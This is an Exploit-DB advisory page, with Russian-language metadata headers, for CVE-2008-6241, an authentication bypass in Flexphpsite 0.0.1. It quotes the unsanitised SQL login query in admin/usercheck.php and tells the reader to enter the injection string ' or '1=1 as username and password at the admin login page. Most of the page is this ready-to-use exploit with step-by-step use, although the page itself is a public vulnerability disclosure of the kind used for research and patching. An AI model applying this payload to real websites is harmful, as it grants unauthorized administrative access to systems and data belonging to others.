Exploit Flexphpsite 0.0.1 - Authentication Bypass

[Exploiter]

EDB-ID

7615

Проверка EDB

1. Пройдено

Автор

X0R

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-6241

Дата публикации

2008-12-29

#############################################
Autore: x0r
Email: [email protected]
Site: http://w00tz0ne.altervista.org/index.php
Cms: Flexphpsiteen
Version: 0.0.1
Download: http://www.china-on-site.com/flexphpsite/downloads.html
##############################################

Bug In \admin\usercheck.php

$sql = "select username,adminid from linkexadmin where
username='$checkuser' and password='$checkpass'";

Exploit:
 
Go to /[path]/admin/index.php
Put as username and password the following sql code: ' or '1=1

Greetz: Anna <3

# milw0rm.com [2008-12-29]